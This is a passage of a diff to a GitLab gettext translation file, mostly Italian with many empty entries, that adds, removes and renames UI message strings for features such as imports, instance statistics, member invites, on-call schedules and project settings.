+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "Abbandona il gruppo"
msgid "Leave project"
msgstr "Abbandona il progetto"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Non disponibile"
@@ -18400,6 +18812,9 @@ msgstr "Dati insufficienti "
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Pipeline fallita"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Completa la richiesta di merge"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr "Nuova nota"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Riassegna issue"
@@ -18514,6 +18944,9 @@ msgstr "Riassegna richiesta di Merge"
msgid "NotificationEvent|Reopen issue"
msgstr "Riapri issue"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Pipeline Completata"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "Opzioni"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Pianificazione multipla Pipeline"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Profilo"
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr "Profiles| Stai per cambiare il nome utente %{currentUsernameBold} in %{newUsernameBold}. Profilo e progetti verranno reindirizzati allo spazio dei nomi %{newUsername} ma questo reindirizzamento scadrà quando lo spazio dei nomi %{currentUsername} viene registrato da un altro utente o gruppo. Per favore aggiorna i remote repository di Git il prima possibile."
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
